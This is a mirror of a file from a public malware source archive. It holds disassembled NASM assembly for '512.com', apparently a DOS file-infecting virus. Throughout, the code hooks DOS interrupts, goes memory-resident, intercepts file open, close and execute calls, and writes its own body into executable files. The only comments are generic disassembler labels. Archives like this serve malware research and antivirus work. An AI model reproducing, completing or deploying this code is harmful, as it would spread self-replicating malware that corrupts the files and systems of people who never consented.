mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
269 lines
9.1 KiB
NASM
269 lines
9.1 KiB
NASM
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;PROGRAM NAME: 512.com
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;-------------------------------------------------
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H00100: MOV AH,30h
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INT 21h ;DOS Version#
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MOV SI,0004h
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MOV DS,SI ;SEGMENT OPERATION
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CMP Byte Ptr AH,1Eh
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LDS AX,[SI+08h]
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JB H0011B ; . . . . . . . . .
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MOV AH,13h
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INT 2Fh ;Print Spooler Ctrl
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PUSH DS ;SEGMENT OPERATION
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PUSH DX
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INT 2Fh ;Print Spooler Ctrl
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POP AX
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POP DS ;SEGMENT OPERATION
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H0011B: MOV DI,00F8h
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STOSW
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MOV AX,DS
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STOSW
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MOV DS,SI ;SEGMENT OPERATION
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LDS AX,[SI+40h]
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STOSW
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CMP AX,0121h
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MOV AX,DS
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STOSW
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PUSH ES ;SEGMENT OPERATION
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PUSH DI
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JNZ H00139 ; . . . . . . . . .
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SHL Word Ptr SI,1
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MOV CX,0100h
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REPZ
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CMPSW
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H00139: PUSH CS ;SEGMENT OPERATION
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POP DS ;SEGMENT OPERATION
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JZ H00187 ; . . . . . . . . .
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MOV AH,52h
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INT 21h ;INDEF FUNCTION
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PUSH ES ;SEGMENT OPERATION
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MOV SI,00F8h
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SUB DI,DI
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LES AX,ES:[BX+12h]
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MOV DX,ES:[DI+02h]
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MOV CX,0104h
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REPZ
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MOVSW
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MOV DS,CX ;SEGMENT OPERATION
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MOV DI,0016h
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MOV Word Ptr [DI+6E],0121h
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MOV [DI+70h],ES
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POP DS ;SEGMENT OPERATION
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MOV [BX+14h],DX
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MOV DX,CS
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MOV DS,DX ;SEGMENT OPERATION
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MOV BX,[DI-14h]
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DEC Byte Ptr BH
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MOV ES,BX ;SEGMENT OPERATION
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CMP DX,[DI]
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MOV DS,[DI] ;SEGMENT OPERATION
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MOV DX,[DI]
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DEC DX
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MOV DS,DX ;SEGMENT OPERATION
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MOV SI,CX
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MOV DX,DI
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MOV CL,08h
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REPZ
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MOVSW
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MOV DS,BX ;SEGMENT OPERATION
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JB H00197 ; . . . . . . . . .
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INT 20h ;TERMINATE normally
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;-------------------------------------------------
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H00187: MOV SI,CX
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MOV DS,[SI+2Ch] ;SEGMENT OPERATION
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H0018C: LODSW ; . . . . . . . . .
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DEC SI
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TEST AX,AX
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JNZ H0018C ; . . . . . . . . .
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ADD Word Ptr SI,+03h
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MOV DX,SI
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H00197: MOV AH,3Dh
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CALL H001B0 ; . . . . . . . . .
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MOV DX,[DI]
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MOV [DI+04h],DX
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ADD [DI],CX
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POP DX
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PUSH DX
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PUSH CS ;SEGMENT OPERATION
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POP ES ;SEGMENT OPERATION
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PUSH CS ;SEGMENT OPERATION
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POP DS ;SEGMENT OPERATION
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PUSH DS ;SEGMENT OPERATION
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MOV AL,50h
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PUSH AX
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MOV AH,3Fh
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RETF
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;-------------------------------------------------
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H001B0: INT 21h ;INDEF FUNCTION
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JB H001CD ; . . . . . . . . .
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MOV BX,AX
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H001B6: PUSH BX
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MOV AX,1220h
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INT 2Fh ;Print Spooler Ctrl
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MOV BL,ES:[DI]
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MOV AX,1216h
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INT 2Fh ;Print Spooler Ctrl
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POP BX
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PUSH ES ;SEGMENT OPERATION
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POP DS ;SEGMENT OPERATION
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ADD Word Ptr DI,+11h
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MOV CX,0200h
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H001CD: RET
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;-------------------------------------------------
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H001CE: STI
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PUSH ES ;SEGMENT OPERATION
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PUSH SI
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PUSH DI
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PUSH BP
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PUSH DS ;SEGMENT OPERATION
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PUSH CX
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CALL H001B6 ; . . . . . . . . .
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MOV BP,CX
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MOV SI,[DI+04h]
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POP CX
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POP DS ;SEGMENT OPERATION
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CALL H00211 ; . . . . . . . . .
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JB H0020A ; . . . . . . . . .
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CMP SI,BP
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JNB H0020A ; . . . . . . . . .
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PUSH AX
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MOV AL,ES:[DI-04h]
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NOT Byte Ptr AL
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AND AL,1Fh
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JNZ H00209 ; . . . . . . . . .
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ADD SI,ES:[DI]
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XCHG SI,ES:[DI+04h]
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ADD ES:[DI],BP ;SEGMENT OPERATION
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CALL H00211 ; . . . . . . . . .
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MOV ES:[DI+04h],SI ;SEGMENT OPERATION
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LAHF
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SUB ES:[DI],BP ;SEGMENT OPERATION
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SAHF
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H00209: POP AX
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H0020A: POP BP
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POP DI
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POP SI
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POP ES ;SEGMENT OPERATION
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RETF 0002h
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;-------------------------------------------------
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H00211: MOV AH,3Fh
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H00213: PUSHF
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PUSH CS ;SEGMENT OPERATION
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CALL H0023A ; . . . . . . . . .
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RET
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;-------------------------------------------------
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CMP Byte Ptr AH,3Fh
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JZ H001CE ; . . . . . . . . .
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PUSH DS ;SEGMENT OPERATION
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PUSH ES ;SEGMENT OPERATION
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PUSH AX
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PUSH BX
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PUSH CX
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PUSH DX
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PUSH SI
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PUSH DI
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CMP Byte Ptr AH,3Eh
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JZ H0023F ; . . . . . . . . .
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CMP AX,4B00h
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MOV AH,3Dh
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JZ H00241 ; . . . . . . . . .
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H00232: POP DI
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POP SI
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POP DX
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POP CX
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POP BX
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POP AX
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POP ES ;SEGMENT OPERATION
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POP DS ;SEGMENT OPERATION
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H0023A: JMP Far CS:[H00004h]
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;-------------------------------------------------
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H0023F: MOV AH,45h
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H00241: CALL H001B0 ; . . . . . . . . .
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JB H00232 ; . . . . . . . . .
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SUB AX,AX
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MOV [DI+04h],AX
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MOV Byte Ptr [DI-0Fh],02h
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CLD
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MOV DS,AX ;SEGMENT OPERATION
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MOV SI,004Ch
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LODSW ; . . . . . . . . .
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PUSH AX
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LODSW ; . . . . . . . . .
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PUSH AX
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PUSH [SI+40h]
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PUSH [SI+42h]
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LDS DX,CS:[SI-50h]
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MOV AX,2513h
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INT 21h ;Set Intrpt Vector
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PUSH CS ;SEGMENT OPERATION
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POP DS ;SEGMENT OPERATION
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MOV DX,0204h
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MOV AL,24h
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INT 21h ;Write Random Rcds
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PUSH ES ;SEGMENT OPERATION
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POP DS ;SEGMENT OPERATION
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MOV AL,[DI-04h]
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AND AL,1Fh
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CMP AL,1Fh
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JZ H00284 ; . . . . . . . . .
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MOV AX,[DI+17h]
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SUB AX,4F43h
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JNZ H002C3 ; . . . . . . . . .
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H00284: XOR [DI-04h],AL
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MOV AX,[DI]
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CMP AX,CX
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JB H002C3 ; . . . . . . . . .
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ADD AX,CX
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JB H002C3 ; . . . . . . . . .
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TEST Byte Ptr [DI-0Dh],04h
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JNZ H002C3 ; . . . . . . . . .
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LDS SI,[DI-0Ah]
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DEC AX
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SHR Byte Ptr AH,1
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AND AH,[SI+04h]
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JZ H002C3 ; . . . . . . . . .
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MOV AX,0020h
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MOV DS,AX ;SEGMENT OPERATION
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SUB DX,DX
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CALL H00211 ; . . . . . . . . .
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MOV SI,DX
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PUSH CX
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H002AF: LODSB ; . . . . . . . . .
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CMP AL,CS:[SI+07h]
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JNZ H002DD ; . . . . . . . . .
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LOOP H002AF ; . . . . . . . . .
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POP CX
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H002B9: OR Byte Ptr ES:[DI-04h],1Fh
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H002BE: OR Byte Ptr ES:[DI-0Bh],40h
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H002C3: MOV AH,3Eh
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CALL H00213 ; . . . . . . . . .
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OR Byte Ptr ES:[DI-0Ch],40h
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POP DS ;SEGMENT OPERATION
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POP DX
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MOV AX,2524h
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INT 21h ;Set Intrpt Vector
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POP DS ;SEGMENT OPERATION
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POP DX
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MOV AL,13h
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INT 21h ;Write Random Rcds
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JMP H00232
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;-------------------------------------------------
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H002DD: POP CX
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MOV SI,ES:[DI]
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MOV ES:[DI+04h],SI ;SEGMENT OPERATION
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MOV AH,40h
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INT 21h ;Write File/Device
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JB H002BE ; . . . . . . . . .
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MOV ES:[DI],SI ;SEGMENT OPERATION
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MOV ES:[DI+04h],DX ;SEGMENT OPERATION
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PUSH CS ;SEGMENT OPERATION
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POP DS ;SEGMENT OPERATION
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MOV DL,08h
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MOV AH,40h
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INT 21h ;Write File/Device
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JMP Short H002B9
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;-------------------------------------------------
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IRET
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;-------------------------------------------------
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ADD SS:[BX+SI],AL ;SEGMENT OPERATION
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